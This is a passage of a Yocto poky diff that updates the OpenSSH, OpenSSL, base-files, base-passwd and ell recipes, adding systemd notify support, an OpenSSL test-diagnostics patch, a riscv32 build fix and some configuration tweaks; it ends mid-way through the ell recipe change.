+++ b/poky/meta/recipes-connectivity/openssh/openssh/0001-systemd-Add-optional-support-for-systemd-sd_notify.patch
@@ -0,0 +1,99 @@
+From be187435911cde6cc3cef6982a508261074f1e56 Mon Sep 17 00:00:00 2001
+From: Matt Jolly <Matt.Jolly@footclan.ninja>
+Date: Thu, 2 Feb 2023 21:05:40 +1100
+Subject: [PATCH] systemd: Add optional support for systemd `sd_notify`
+
+This is a rebase of Dennis Lamm's <expeditioneer@gentoo.org>
+patch based on Jakub Jelen's <jjelen@redhat.com> original patch
+
+Upstream-Status: Submitted [https://github.com/openssh/openssh-portable/pull/375/commits/be187435911cde6cc3cef6982a508261074f1e56]
+
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ configure.ac | 24 ++++++++++++++++++++++++
+ sshd.c | 13 +++++++++++++
+ 2 files changed, 37 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 22fee70f..486c189f 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -4835,6 +4835,29 @@ AC_SUBST([GSSLIBS])
+ AC_SUBST([K5LIBS])
+ AC_SUBST([CHANNELLIBS])
+
++# Check whether user wants systemd support
++SYSTEMD_MSG="no"
++AC_ARG_WITH(systemd,
++ [ --with-systemd Enable systemd support],
++ [ if test "x$withval" != "xno" ; then
++ AC_PATH_TOOL([PKGCONFIG], [pkg-config], [no])
++ if test "$PKGCONFIG" != "no"; then
++ AC_MSG_CHECKING([for libsystemd])
++ if $PKGCONFIG --exists libsystemd; then
++ SYSTEMD_CFLAGS=`$PKGCONFIG --cflags libsystemd`
++ SYSTEMD_LIBS=`$PKGCONFIG --libs libsystemd`
++ CPPFLAGS="$CPPFLAGS $SYSTEMD_CFLAGS"
++ SSHDLIBS="$SSHDLIBS $SYSTEMD_LIBS"
++ AC_MSG_RESULT([yes])
++ AC_DEFINE(HAVE_SYSTEMD, 1, [Define if you want systemd support.])
++ SYSTEMD_MSG="yes"
++ else
++ AC_MSG_RESULT([no])
++ fi
++ fi
++ fi ]
++)
++
+ # Looking for programs, paths and files
+
+ PRIVSEP_PATH=/var/empty
+@@ -5634,6 +5657,7 @@ echo " libldns support: $LDNS_MSG"
+ echo " Solaris process contract support: $SPC_MSG"
+ echo " Solaris project support: $SP_MSG"
+ echo " Solaris privilege support: $SPP_MSG"
++echo " systemd support: $SYSTEMD_MSG"
+ echo " IP address in \$DISPLAY hack: $DISPLAY_HACK_MSG"
+ echo " Translate v4 in v6 hack: $IPV4_IN6_HACK_MSG"
+ echo " BSD Auth support: $BSD_AUTH_MSG"
+diff --git a/sshd.c b/sshd.c
+index 6321936c..859d6a0b 100644
+--- a/sshd.c
++++ b/sshd.c
+@@ -88,6 +88,10 @@
+ #include <prot.h>
+ #endif
+
++#ifdef HAVE_SYSTEMD
++#include <systemd/sd-daemon.h>
++#endif
++
+ #include "xmalloc.h"
+ #include "ssh.h"
+ #include "ssh2.h"
+@@ -310,6 +314,10 @@ static void
+ sighup_restart(void)
+ {
+ logit("Received SIGHUP; restarting.");
++#ifdef HAVE_SYSTEMD
++ /* Signal systemd that we are reloading */
++ sd_notify(0, "RELOADING=1");
++#endif
+ if (options.pid_file != NULL)
+ unlink(options.pid_file);
+ platform_pre_restart();
+@@ -2086,6 +2094,11 @@ main(int ac, char **av)
+ }
+ }
+
++#ifdef HAVE_SYSTEMD
++ /* Signal systemd that we are ready to accept connections */
++ sd_notify(0, "READY=1");
++#endif
++
+ /* Accept a connection and return in a forked child */
+ server_accept_loop(&sock_in, &sock_out,
+ &newsock, config_s);
+--
+2.25.1
+
diff --git a/poky/meta/recipes-connectivity/openssh/openssh/sshd.service b/poky/meta/recipes-connectivity/openssh/openssh/sshd.service
new file mode 100644
index 0000000000..2a997b656a
--- /dev/null
+++ b/poky/meta/recipes-connectivity/openssh/openssh/sshd.service
@@ -0,0 +1,17 @@
+[Unit]
+Description=OpenSSH server daemon
+Wants=sshdgenkeys.service
+After=sshdgenkeys.service
+
+[Service]
+Environment="SSHD_OPTS="
+EnvironmentFile=-/etc/default/ssh
+ExecStartPre=@BASE_BINDIR@/mkdir -p /var/run/sshd
+ExecStart=-@SBINDIR@/sshd -D $SSHD_OPTS
+ExecReload=@BASE_BINDIR@/kill -HUP $MAINPID
+KillMode=process
+Restart=on-failure
+RestartSec=42s
+
+[Install]
+WantedBy=multi-user.target
diff --git a/poky/meta/recipes-connectivity/openssh/openssh_9.4p1.bb b/poky/meta/recipes-connectivity/openssh/openssh_9.5p1.bb
index e2508aa63a..bbb8fb091a 100644
--- a/poky/meta/recipes-connectivity/openssh/openssh_9.4p1.bb
+++ b/poky/meta/recipes-connectivity/openssh/openssh_9.5p1.bb
@@ -16,6 +16,7 @@ SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar
file://ssh_config \
file://init \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://sshd.service \
file://sshd.socket \
file://sshd@.service \
file://sshdgenkeys.service \
@@ -25,8 +26,9 @@ SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar
file://sshd_check_keys \
file://add-test-support-for-busybox.patch \
file://0001-regress-banner.sh-log-input-and-output-files-on-erro.patch \
+ file://0001-systemd-Add-optional-support-for-systemd-sd_notify.patch \
"
-SRC_URI[sha256sum] = "3608fd9088db2163ceb3e600c85ab79d0de3d221e59192ea1923e23263866a85"
+SRC_URI[sha256sum] = "f026e7b79ba7fb540f75182af96dc8a8f1db395f922bbc9f6ca603672686086b"
CVE_STATUS[CVE-2007-2768] = "not-applicable-config: This CVE is specific to OpenSSH with the pam opie which we don't build/use here."
@@ -48,9 +50,10 @@ INITSCRIPT_NAME:${PN}-sshd = "sshd"
INITSCRIPT_PARAMS:${PN}-sshd = "defaults 9"
SYSTEMD_PACKAGES = "${PN}-sshd"
-SYSTEMD_SERVICE:${PN}-sshd = "sshd.socket"
+SYSTEMD_SERVICE:${PN}-sshd = "sshd.socket sshd.service"
-inherit autotools-brokensep ptest
+inherit autotools-brokensep ptest pkgconfig
+DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd', '', d)}"
PACKAGECONFIG ??= ""
PACKAGECONFIG[kerberos] = "--with-kerberos5,--without-kerberos5,krb5"
@@ -68,6 +71,7 @@ EXTRA_OECONF = "'LOGIN_PROGRAM=${base_bindir}/login' \
--sysconfdir=${sysconfdir}/ssh \
--with-xauth=${bindir}/xauth \
--disable-strip \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', '--with-systemd', '--without-systemd', d)} \
"
# musl doesn't implement wtmp/utmp and logwtmp
@@ -122,6 +126,7 @@ do_install:append () {
install -d ${D}${systemd_system_unitdir}
install -c -m 0644 ${WORKDIR}/sshd.socket ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshd.service ${D}${systemd_system_unitdir}
install -c -m 0644 ${WORKDIR}/sshd@.service ${D}${systemd_system_unitdir}
install -c -m 0644 ${WORKDIR}/sshdgenkeys.service ${D}${systemd_system_unitdir}
sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
diff --git a/poky/meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch b/poky/meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch
new file mode 100644
index 0000000000..aa2e5bb800
--- /dev/null
+++ b/poky/meta/recipes-connectivity/openssl/openssl/0001-Added-handshake-history-reporting-when-test-fails.patch
@@ -0,0 +1,374 @@
+From 5ba65051fea0513db0d997f0ab7cafb9826ed74a Mon Sep 17 00:00:00 2001
+From: William Lyu <William.Lyu@windriver.com>
+Date: Fri, 20 Oct 2023 16:22:37 -0400
+Subject: [PATCH] Added handshake history reporting when test fails
+
+Upstream-Status: Submitted [https://github.com/openssl/openssl/pull/22481]
+
+Signed-off-by: William Lyu <William.Lyu@windriver.com>
+---
+ test/helpers/handshake.c | 139 +++++++++++++++++++++++++++++----------
+ test/helpers/handshake.h | 70 +++++++++++++++++++-
+ test/ssl_test.c | 44 +++++++++++++
+ 3 files changed, 218 insertions(+), 35 deletions(-)
+
+diff --git a/test/helpers/handshake.c b/test/helpers/handshake.c
+index e0422469e4..ae2ad59dd4 100644
+--- a/test/helpers/handshake.c
++++ b/test/helpers/handshake.c
+@@ -1,5 +1,5 @@
+ /*
+- * Copyright 2016-2022 The OpenSSL Project Authors. All Rights Reserved.
++ * Copyright 2016-2023 The OpenSSL Project Authors. All Rights Reserved.
+ *
+ * Licensed under the Apache License 2.0 (the "License"). You may not use
+ * this file except in compliance with the License. You can obtain a copy
+@@ -24,6 +24,102 @@
+ #include <netinet/sctp.h>
+ #endif
+
++/* Shamelessly copied from test/helpers/ssl_test_ctx.c */
++/* Maps string names to various enumeration type */
++typedef struct {
++ const char *name;
++ int value;
++} enum_name_map;
++
++static const enum_name_map connect_phase_names[] = {
++ {"Handshake", HANDSHAKE},
++ {"RenegAppData", RENEG_APPLICATION_DATA},
++ {"RenegSetup", RENEG_SETUP},
++ {"RenegHandshake", RENEG_HANDSHAKE},
++ {"AppData", APPLICATION_DATA},
++ {"Shutdown", SHUTDOWN},
++ {"ConnectionDone", CONNECTION_DONE}
++};
++
++static const enum_name_map peer_status_names[] = {
++ {"PeerSuccess", PEER_SUCCESS},
++ {"PeerRetry", PEER_RETRY},
++ {"PeerError", PEER_ERROR},
++ {"PeerWaiting", PEER_WAITING},
++ {"PeerTestFail", PEER_TEST_FAILURE}
++};
++
++static const enum_name_map handshake_status_names[] = {
++ {"HandshakeSuccess", HANDSHAKE_SUCCESS},
++ {"ClientError", CLIENT_ERROR},
++ {"ServerError", SERVER_ERROR},
++ {"InternalError", INTERNAL_ERROR},
++ {"HandshakeRetry", HANDSHAKE_RETRY}
++};
++
++/* Shamelessly copied from test/helpers/ssl_test_ctx.c */
++static const char *enum_name(const enum_name_map *enums, size_t num_enums,
++ int value)
++{
++ size_t i;
++ for (i = 0; i < num_enums; i++) {
++ if (enums[i].value == value) {
++ return enums[i].name;
++ }
++ }
++ return "InvalidValue";
++}
++
++const char *handshake_connect_phase_name(connect_phase_t phase)
++{
++ return enum_name(connect_phase_names, OSSL_NELEM(connect_phase_names),
++ (int)phase);
++}
++
++const char *handshake_status_name(handshake_status_t handshake_status)
++{
++ return enum_name(handshake_status_names, OSSL_NELEM(handshake_status_names),
++ (int)handshake_status);
++}
++
++const char *handshake_peer_status_name(peer_status_t peer_status)
++{
++ return enum_name(peer_status_names, OSSL_NELEM(peer_status_names),
++ (int)peer_status);
++}
++
++static void save_loop_history(HANDSHAKE_HISTORY *history,
++ connect_phase_t phase,
++ handshake_status_t handshake_status,
++ peer_status_t server_status,
++ peer_status_t client_status,
++ int client_turn_count,
++ int is_client_turn)
++{
++ HANDSHAKE_HISTORY_ENTRY *new_entry = NULL;
++
++ /*
++ * Create a new history entry for a handshake loop with statuses given in
++ * the arguments. Potentially evicting the oldest entry when the
++ * ring buffer is full.
++ */
++ ++(history->last_idx);
++ history->last_idx &= MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK;
++
++ new_entry = &((history->entries)[history->last_idx]);
++ new_entry->phase = phase;
++ new_entry->handshake_status = handshake_status;
++ new_entry->server_status = server_status;
++ new_entry->client_status = client_status;
++ new_entry->client_turn_count = client_turn_count;
++ new_entry->is_client_turn = is_client_turn;
++
++ /* Evict the oldest handshake loop entry when the ring buffer is full. */
++ if (history->entry_count < MAX_HANDSHAKE_HISTORY_ENTRY) {
++ ++(history->entry_count);
++ }
++}
++
+ HANDSHAKE_RESULT *HANDSHAKE_RESULT_new(void)
+ {
+ HANDSHAKE_RESULT *ret;
+@@ -719,15 +815,6 @@ static void configure_handshake_ssl(SSL *server, SSL *client,
+ SSL_set_post_handshake_auth(client, 1);
+ }
+
+-/* The status for each connection phase. */
+-typedef enum {
+- PEER_SUCCESS,
+- PEER_RETRY,
+- PEER_ERROR,
+- PEER_WAITING,
+- PEER_TEST_FAILURE
+-} peer_status_t;
+-
+ /* An SSL object and associated read-write buffers. */
+ typedef struct peer_st {
+ SSL *ssl;
+@@ -1074,17 +1161,6 @@ static void do_shutdown_step(PEER *peer)
+ }
+ }
+
+-typedef enum {
+- HANDSHAKE,
+- RENEG_APPLICATION_DATA,
+- RENEG_SETUP,
+- RENEG_HANDSHAKE,
+- APPLICATION_DATA,
+- SHUTDOWN,
+- CONNECTION_DONE
+-} connect_phase_t;
+-
+-
+ static int renegotiate_op(const SSL_TEST_CTX *test_ctx)
+ {
+ switch (test_ctx->handshake_mode) {
+@@ -1162,19 +1238,6 @@ static void do_connect_step(const SSL_TEST_CTX *test_ctx, PEER *peer,
+ }
+ }
+
+-typedef enum {
+- /* Both parties succeeded. */
+- HANDSHAKE_SUCCESS,
+- /* Client errored. */
+- CLIENT_ERROR,
+- /* Server errored. */
+- SERVER_ERROR,
+- /* Peers are in inconsistent state. */
+- INTERNAL_ERROR,
+- /* One or both peers not done. */
+- HANDSHAKE_RETRY
+-} handshake_status_t;
+-
+ /*
+ * Determine the handshake outcome.
+ * last_status: the status of the peer to have acted last.
+@@ -1539,6 +1602,10 @@ static HANDSHAKE_RESULT *do_handshake_internal(
+
+ start = time(NULL);
+
++ save_loop_history(&(ret->history),
++ phase, status, server.status, client.status,
++ client_turn_count, client_turn);
++
+ /*
+ * Half-duplex handshake loop.
+ * Client and server speak to each other synchronously in the same process.
+@@ -1560,6 +1627,10 @@ static HANDSHAKE_RESULT *do_handshake_internal(
+ 0 /* server went last */);
+ }
+
++ save_loop_history(&(ret->history),
++ phase, status, server.status, client.status,
++ client_turn_count, client_turn);
++
+ switch (status) {
+ case HANDSHAKE_SUCCESS:
+ client_turn_count = 0;
+diff --git a/test/helpers/handshake.h b/test/helpers/handshake.h
+index 78b03f9f4b..b9967c2623 100644
+--- a/test/helpers/handshake.h
++++ b/test/helpers/handshake.h
+@@ -1,5 +1,5 @@
+ /*
+- * Copyright 2016-2021 The OpenSSL Project Authors. All Rights Reserved.
++ * Copyright 2016-2023 The OpenSSL Project Authors. All Rights Reserved.
+ *
+ * Licensed under the Apache License 2.0 (the "License"). You may not use
+ * this file except in compliance with the License. You can obtain a copy
+@@ -12,6 +12,11 @@
+
+ #include "ssl_test_ctx.h"
+
++#define MAX_HANDSHAKE_HISTORY_ENTRY_BIT 4
++#define MAX_HANDSHAKE_HISTORY_ENTRY (1 << MAX_HANDSHAKE_HISTORY_ENTRY_BIT)
++#define MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK \
++ ((1 << MAX_HANDSHAKE_HISTORY_ENTRY_BIT) - 1)
++
+ typedef struct ctx_data_st {
+ unsigned char *npn_protocols;
+ size_t npn_protocols_len;
+@@ -22,6 +27,63 @@ typedef struct ctx_data_st {
+ char *session_ticket_app_data;
+ } CTX_DATA;
+
++typedef enum {
++ HANDSHAKE,
++ RENEG_APPLICATION_DATA,
++ RENEG_SETUP,
++ RENEG_HANDSHAKE,
++ APPLICATION_DATA,
++ SHUTDOWN,
++ CONNECTION_DONE
++} connect_phase_t;
++
++/* The status for each connection phase. */
++typedef enum {
++ PEER_SUCCESS,
++ PEER_RETRY,
++ PEER_ERROR,
++ PEER_WAITING,
++ PEER_TEST_FAILURE
++} peer_status_t;
++
++typedef enum {
++ /* Both parties succeeded. */
++ HANDSHAKE_SUCCESS,
++ /* Client errored. */
++ CLIENT_ERROR,
++ /* Server errored. */
++ SERVER_ERROR,
++ /* Peers are in inconsistent state. */
++ INTERNAL_ERROR,
++ /* One or both peers not done. */
++ HANDSHAKE_RETRY
++} handshake_status_t;
++
++/* Stores the various status information in a handshake loop. */
++typedef struct handshake_history_entry_st {
++ connect_phase_t phase;
++ handshake_status_t handshake_status;
++ peer_status_t server_status;
++ peer_status_t client_status;
++ int client_turn_count;
++ int is_client_turn;
++} HANDSHAKE_HISTORY_ENTRY;
++
++typedef struct handshake_history_st {
++ /* Implemented using ring buffer. */
++ /*
++ * The valid entries are |entries[last_idx]|, |entries[last_idx-1]|,
++ * ..., etc., going up to |entry_count| number of entries. Note that when
++ * the index into the array |entries| becomes < 0, we wrap around to
++ * the end of |entries|.
++ */
++ HANDSHAKE_HISTORY_ENTRY entries[MAX_HANDSHAKE_HISTORY_ENTRY];
++ /* The number of valid entries in |entries| array. */
++ size_t entry_count;
++ /* The index of the last valid entry in the |entries| array. */
++ size_t last_idx;
++} HANDSHAKE_HISTORY;
++
+ typedef struct handshake_result {
+ ssl_test_result_t result;
+ /* These alerts are in the 2-byte format returned by the info_callback. */
+@@ -77,6 +139,8 @@ typedef struct handshake_result {
+ char *cipher;
+ /* session ticket application data */
+ char *result_session_ticket_app_data;
++ /* handshake loop history */
++ HANDSHAKE_HISTORY history;
+ } HANDSHAKE_RESULT;
+
+ HANDSHAKE_RESULT *HANDSHAKE_RESULT_new(void);
+@@ -95,4 +159,8 @@ int configure_handshake_ctx_for_srp(SSL_CTX *server_ctx, SSL_CTX *server2_ctx,
+ CTX_DATA *server2_ctx_data,
+ CTX_DATA *client_ctx_data);
+
++const char *handshake_connect_phase_name(connect_phase_t phase);
++const char *handshake_status_name(handshake_status_t handshake_status);
++const char *handshake_peer_status_name(peer_status_t peer_status);
++
+ #endif /* OSSL_TEST_HANDSHAKE_HELPER_H */
+diff --git a/test/ssl_test.c b/test/ssl_test.c
+index ea608518f9..9d6b093c81 100644
+--- a/test/ssl_test.c
++++ b/test/ssl_test.c
+@@ -26,6 +26,44 @@ static OSSL_LIB_CTX *libctx = NULL;
+ /* Currently the section names are of the form test-<number>, e.g. test-15. */
+ #define MAX_TESTCASE_NAME_LENGTH 100
+
++static void print_handshake_history(const HANDSHAKE_HISTORY *history)
++{
++ size_t first_idx;
++ size_t i;
++ size_t cur_idx;
++ const HANDSHAKE_HISTORY_ENTRY *cur_entry;
++ const char header_template[] = "|%14s|%16s|%16s|%16s|%17s|%14s|";
++ const char body_template[] = "|%14s|%16s|%16s|%16s|%17d|%14s|";
++
++ TEST_info("The following is the server/client state "
++ "in the most recent %d handshake loops.",
++ MAX_HANDSHAKE_HISTORY_ENTRY);
++
++ TEST_note("=================================================="
++ "==================================================");
++ TEST_note(header_template,
++ "phase", "handshake status", "server status",
++ "client status", "client turn count", "is client turn");
++ TEST_note("+--------------+----------------+----------------"
++ "+----------------+-----------------+--------------+");
++
++ first_idx = (history->last_idx - history->entry_count + 1) &
++ MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK;
++ for (i = 0; i < history->entry_count; ++i) {
++ cur_idx = (first_idx + i) & MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK;
++ cur_entry = &(history->entries)[cur_idx];
++ TEST_note(body_template,
++ handshake_connect_phase_name(cur_entry->phase),
++ handshake_status_name(cur_entry->handshake_status),
++ handshake_peer_status_name(cur_entry->server_status),
++ handshake_peer_status_name(cur_entry->client_status),
++ cur_entry->client_turn_count,
++ cur_entry->is_client_turn ? "true" : "false");
++ }
++ TEST_note("=================================================="
++ "==================================================");
++}
++
+ static const char *print_alert(int alert)
+ {
+ return alert ? SSL_alert_desc_string_long(alert) : "no alert";
+@@ -388,6 +426,12 @@ static int check_test(HANDSHAKE_RESULT *result, SSL_TEST_CTX *test_ctx)
+ ret &= check_client_sign_type(result, test_ctx);
+ ret &= check_client_ca_names(result, test_ctx);
+ }
++
++ /* Print handshake loop history if any check fails. */
++ if (!ret) {
++ print_handshake_history(&(result->history));
++ }
++
+ return ret;
+ }
+
+--
+2.25.1
+
diff --git a/poky/meta/recipes-connectivity/openssl/openssl/0001-Link-libatomic-on-riscv32.patch b/poky/meta/recipes-connectivity/openssl/openssl/0001-Link-libatomic-on-riscv32.patch
new file mode 100644
index 0000000000..2c54d8f685
--- /dev/null
+++ b/poky/meta/recipes-connectivity/openssl/openssl/0001-Link-libatomic-on-riscv32.patch
@@ -0,0 +1,35 @@
+From 73266b8573c71e6720453c4c5a9e6e8fa4daec65 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 21 Oct 2023 13:03:52 -0700
+Subject: [PATCH] Link libatomic on riscv32
+
+GCC toolchains on linux are not able to build libcrypto without linking
+to libatomic as it does not have all needed atomics implemented as
+intrinsics
+
+Fixes errors like
+
+| ld: ./libcrypto.so: undefined reference to `__atomic_is_lock_free'
+
+Upstream-Status: Submitted [https://github.com/openssl/openssl/pull/22460]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Configurations/10-main.conf | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Configurations/10-main.conf b/Configurations/10-main.conf
+index 46094f59c2..d1a15a1152 100644
+--- a/Configurations/10-main.conf
++++ b/Configurations/10-main.conf
+@@ -816,7 +816,7 @@ my %targets = (
+ },
+
+ "linux32-riscv32" => {
+- inherit_from => [ "linux-generic32"],
++ inherit_from => [ "linux-latomic" ],
+ perlasm_scheme => "linux32",
+ asm_arch => 'riscv32',
+ },
+--
+2.42.0
+
diff --git a/poky/meta/recipes-connectivity/openssl/openssl_3.1.3.bb b/poky/meta/recipes-connectivity/openssl/openssl_3.1.4.bb
index cc9452c8ab..c6c70a1213 100644
--- a/poky/meta/recipes-connectivity/openssl/openssl_3.1.3.bb
+++ b/poky/meta/recipes-connectivity/openssl/openssl_3.1.4.bb
@@ -12,13 +12,15 @@ SRC_URI = "http://www.openssl.org/source/openssl-${PV}.tar.gz \
file://0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch \
file://0001-Configure-do-not-tweak-mips-cflags.patch \
file://fix_random_labels.patch \
+ file://0001-Link-libatomic-on-riscv32.patch \
+ file://0001-Added-handshake-history-reporting-when-test-fails.patch \
"
SRC_URI:append:class-nativesdk = " \
file://environment.d-openssl.sh \
"
-SRC_URI[sha256sum] = "f0316a2ebd89e7f2352976445458689f80302093788c466692fb2a188b2eacf6"
+SRC_URI[sha256sum] = "840af5366ab9b522bde525826be3ef0fb0af81c6a9ebd84caa600fea1731eee3"
inherit lib_package multilib_header multilib_script ptest perlnative manpages
MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/c_rehash"
@@ -119,10 +121,10 @@ do_configure () {
target=linux-ppc64le
;;
linux-riscv32)
- target=linux-latomic
+ target=linux32-riscv32
;;
linux-riscv64)
- target=linux-generic64
+ target=linux64-riscv64
;;
linux-sparc | linux-supersparc)
target=linux-sparcv9
diff --git a/poky/meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch b/poky/meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch
new file mode 100644
index 0000000000..a6e39e0956
--- /dev/null
+++ b/poky/meta/recipes-core/base-files/base-files/0001-add-nss-resolve-to-nsswitch.patch
@@ -0,0 +1,31 @@
+From 830abe652428d9d31780c3ace121635ad7b64274 Mon Sep 17 00:00:00 2001
+From: Eero Aaltonen <eero.aaltonen@vaisala.com>
+Date: Wed Sep 27 15:50:48 2023 +0300
+Subject: [PATCH] Add nss-resolve to the Name Service Switch (NSS)
+
+Add `nss-resolve` so that `systemd-resolved` is used for name
+resolution with glibc `gethostbyname` calls.
+
+Upstream-Status: Inappropriate [no upstream, configuration].
+
+Signed-off-by: Eero Aaltonen <eero.aaltonen@vaisala.com>
+---
+ nsswitch.conf | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/nsswitch.conf b/nsswitch.conf
+index 06f03d2..34b165c 100644
+--- a/nsswitch.conf
++++ b/nsswitch.conf
+@@ -8,7 +8,7 @@ passwd: compat
+ group: compat
+ shadow: compat
+
+-hosts: files dns
++hosts: resolve [!UNAVAIL=return] files dns
+ networks: files
+
+ protocols: db files
+--
+2.25.1
+
diff --git a/poky/meta/recipes-core/base-files/base-files/profile b/poky/meta/recipes-core/base-files/base-files/profile
index cc37e1ba77..bded3757cc 100644
--- a/poky/meta/recipes-core/base-files/base-files/profile
+++ b/poky/meta/recipes-core/base-files/base-files/profile
@@ -10,6 +10,12 @@ PATH="/usr/local/bin:/usr/bin:/bin"
# Set the prompt for bash and ash (no other shells known to be in use here)
[ -z "$PS1" ] || PS1='\u@\h:\w\$ '
+# Use the EDITOR not being set as a trigger to call resize later on
+FIRSTTIMESETUP=0
+if [ -z "$EDITOR" ] ; then
+ FIRSTTIMESETUP=1
+fi
+
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -f $i -a -r $i ]; then
@@ -50,17 +56,19 @@ resize() {
}
fi
fi
- # Use the EDITOR not being set as a trigger to call resize
- # and only do this for /dev/tty[A-z] which are typically
+ # only do this for /dev/tty[A-z] which are typically
# serial ports
- if [ -z "$EDITOR" -a "$SHLVL" = 1 ] ; then
+ if [ $FIRSTTIMESETUP -eq 1 -a $SHLVL -eq 1 ] ; then
case $(tty 2>/dev/null) in
/dev/tty[A-z]*) resize >/dev/null;;
esac
fi
fi
-EDITOR="vi" # needed for packages like cron, git-commit
+if [ -z "$EDITOR" ]; then
+ EDITOR="vi" # needed for packages like cron, git-commit
+fi
+
export PATH PS1 OPIEDIR QPEDIR QTDIR EDITOR TERM
umask 022
diff --git a/poky/meta/recipes-core/base-files/base-files_3.0.14.bb b/poky/meta/recipes-core/base-files/base-files_3.0.14.bb
index 6ba3971e32..9fab53ce63 100644
--- a/poky/meta/recipes-core/base-files/base-files_3.0.14.bb
+++ b/poky/meta/recipes-core/base-files/base-files_3.0.14.bb
@@ -23,6 +23,8 @@ SRC_URI = "file://rotation \
file://share/dot.profile \
file://licenses/GPL-2 \
"
+SRC_URI:append:libc-glibc = "${@bb.utils.contains('DISTRO_FEATURES', 'systemd systemd-resolved', ' file://0001-add-nss-resolve-to-nsswitch.patch', '', d)}"
+
S = "${WORKDIR}"
INHIBIT_DEFAULT_DEPS = "1"
@@ -136,6 +138,10 @@ do_install () {
echo ${hostname} > ${D}${sysconfdir}/hostname
echo "127.0.1.1 ${hostname}" >> ${D}${sysconfdir}/hosts
fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'false', 'true', d)}; then
+ sed -i '/^::1/s/ localhost//' ${D}${sysconfdir}/hosts
+ fi
}
do_install:append:libc-glibc () {
diff --git a/poky/meta/recipes-core/base-passwd/base-passwd/0006-Make-it-possible-to-configure-whether-to-use-SELinux.patch b/poky/meta/recipes-core/base-passwd/base-passwd/0006-Make-it-possible-to-configure-whether-to-use-SELinux.patch
deleted file mode 100644
index 2cc6174e2a..0000000000
--- a/poky/meta/recipes-core/base-passwd/base-passwd/0006-Make-it-possible-to-configure-whether-to-use-SELinux.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 25e3bf09bbbb04aa930ea0fd9f28809a24fb7194 Mon Sep 17 00:00:00 2001
-From: Peter Kjellerstedt <pkj@axis.com>
-Date: Sun, 2 Oct 2022 17:47:29 +0200
-Subject: [PATCH] Make it possible to configure whether to use SELinux or not
-
-Upstream-Status: Backport [https://salsa.debian.org/debian/base-passwd/-/commit/396c41bb35e03c5dcc727aa9f74218a45874ac1f]
-Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
----
- configure.ac | 13 ++++++++++++-
- 1 file changed, 12 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 589df88..e46403b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -13,7 +13,18 @@ AC_SYS_LARGEFILE
-
- dnl Scan for things we need
- AC_CHECK_FUNCS([putgrent])
--AC_CHECK_LIB([selinux], [is_selinux_enabled])
-+
-+dnl Check for SELinux
-+AC_MSG_CHECKING([whether to enable SELinux support])
-+AC_ARG_ENABLE([selinux],
-+ [AS_HELP_STRING([--disable-selinux], [disable support for SELinux])],
-+ [],
-+ [enable_selinux=yes])
-+AC_MSG_RESULT($enable_selinux)
-+AS_IF([test "x$enable_selinux" != xno],
-+ [AC_CHECK_LIB([selinux], [is_selinux_enabled], [],
-+ [AC_MSG_ERROR(
-+ [SELinux support not available (use --disable-selinux to disable)])])])
-
- dnl Check for debconf
- AC_MSG_CHECKING([whether to enable debconf support])
diff --git a/poky/meta/recipes-core/base-passwd/base-passwd_3.6.1.bb b/poky/meta/recipes-core/base-passwd/base-passwd_3.6.2.bb
index 44bcfb0199..bb4b49e6ab 100644
--- a/poky/meta/recipes-core/base-passwd/base-passwd_3.6.1.bb
+++ b/poky/meta/recipes-core/base-passwd/base-passwd_3.6.2.bb
@@ -11,12 +11,11 @@ SRC_URI = "https://launchpad.net/debian/+archive/primary/+files/${BPN}_${PV}.tar
file://0003-Remove-for-root-since-we-do-not-have-an-etc-shadow.patch \
file://0004-Add-an-input-group-for-the-dev-input-devices.patch \
file://0005-Add-kvm-group.patch \
- file://0006-Make-it-possible-to-configure-whether-to-use-SELinux.patch \
file://0007-Add-wheel-group.patch \
file://0001-base-passwd-Add-the-sgx-group.patch \
"
-SRC_URI[sha256sum] = "6ff369be59d586ba63c0c5fcb00f75f9953fe49db88bc6c6428f2c92866f79af"
+SRC_URI[sha256sum] = "06dc78352bf38a8df76ff295e15ab5654cdefe41e62368b15bfcbbab8e4ec2a0"
# the package is taken from launchpad; that source is static and goes stale
# so we check the latest upstream from a directory that does get updated
diff --git a/poky/meta/recipes-core/ell/ell_0.58.bb b/poky/meta/recipes-core/ell/ell_0.59.bb
index 04e8566305..0483dbe582 100644
--- a/poky/meta/recipes-core/ell/ell_0.58.bb
+++ b/poky/meta/recipes-core/ell/ell_0.59.bb
@@ -15,7 +15,7 @@ DEPENDS = "dbus"
inherit autotools pkgconfig
